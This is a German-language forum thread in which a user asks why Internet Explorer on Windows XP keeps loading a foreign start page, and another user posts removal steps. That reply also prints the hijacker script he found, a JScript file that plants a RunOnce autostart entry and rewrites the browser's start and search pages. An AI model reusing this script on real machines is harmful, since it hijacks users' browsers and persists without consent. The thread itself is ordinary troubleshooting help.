Viren, Spyware, Datenschutz 11.213 Themen, 94.171 Beiträge

Verfolgung starten Optionen

Internet Explorer öffnet fremde startseite

baronxy / 7 Antworten / Flachansicht Nickles

Hallo,


Probleme mit fremder startseite.


Habe WINDOWS XP Prof. und Internet Explorer 6.x laufen. Immer wenn ich den Rechner neu starte und über DSL online gehe , wird immer eine fremde, gleiche startseite geladen , die mir zeitgleich noch dazu mehrere Favoriten in meinem Ordner Favoriten ablegt.


Obgleich ich alle eingetragenen favoriten wieder lösche , und die startseite nach meinen Kriterien eintrage , hält das nur bis zum nächsten neu start des Rechners.


bin selbe Interent profi und habe zudem auch alle Registríerungseinträge im System rausgelöscht , die mit den fremden statseite zu tun hatten. Trotzdem bei einem neustart des Rechners , immer wieder das gleiche Problem.


Da hat sich einer ja was schönes einfallen lassen !!!


Wer könnte mir da weiterhelfen??


wie schon erwähnt trotz löschen sämtliche registrierungeinträg im System usw. bleibt das problem.

bei Antwort benachrichtigen
ich könnt mir vorstelln es sitzt irgendwo ein kleines progrämmchen im ... EDROD
prüfe deinen rechner mal mit ad-aware spybot search destroy spybot sollte ... GarfTermy
Hi, das gleiche Problem hatte ich ebenfalls vor kurzem bei einem Rechner. ... Teletom
Hallo Teletom, hab das gleiche Problem, bin jetzt aber leider nicht Fachmann ... dondaniele
Tja, sowas kann man sich dummerweise mit dem IE immer wieder einfangen und ... Tyrfing
Hallo Auch ich hatte das Problem. Alle Tips hier und in anderen Foren ... easiman
xavior baronxy „Internet Explorer öffnet fremde startseite“
Optionen

Also, Leute ich hatte genau das gleiche Problem und es hat nur 5 Minuten gedauert um es zu beseitigen!

1.) Wie entferne ich das Problem (?):

a) Internet Explorer starten & offen lassen (Den Link der Seite die so nervt merken)

b) In Regedit & dem Autostart-Ordner, nach einem eintrag suchen der als Wert eine JS-Datei (JavaScript) hat:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Diesen eintrag löschen

c) In der Regedit nach der Gemerkten Internetseite von Vorne nach Hinten & von Hinten nach Vorne suchen und alle einträge löschen

d) In den Internet Explorer wechseln un den Eintrag der Startseite auf euere Gewünschte Startseite ändern. Internet Explorer schließen


2.) Wie sieht der Eintrag aus:

Der Eintrag kann bei jedem anders sein, bei mir war der folgend:

Name: tlc
Wert: C:\Windows\update911.js

3.) Wie sieht der Inhalt der JS-Datei (update911.js) aus:

Bei mir sah er folgendermaßen aus:

var url = "http://**.***.105.8/index.php?v=1";
var burl = "http://***.***.105.8/search.php?v=1";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update911.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");

4.) Woher kommt dieser "nervige" Eintrag:

1. Crackseiten
2. XXX-Seiten


So ich hoffe ihr kommt damit klar!

cu

bei Antwort benachrichtigen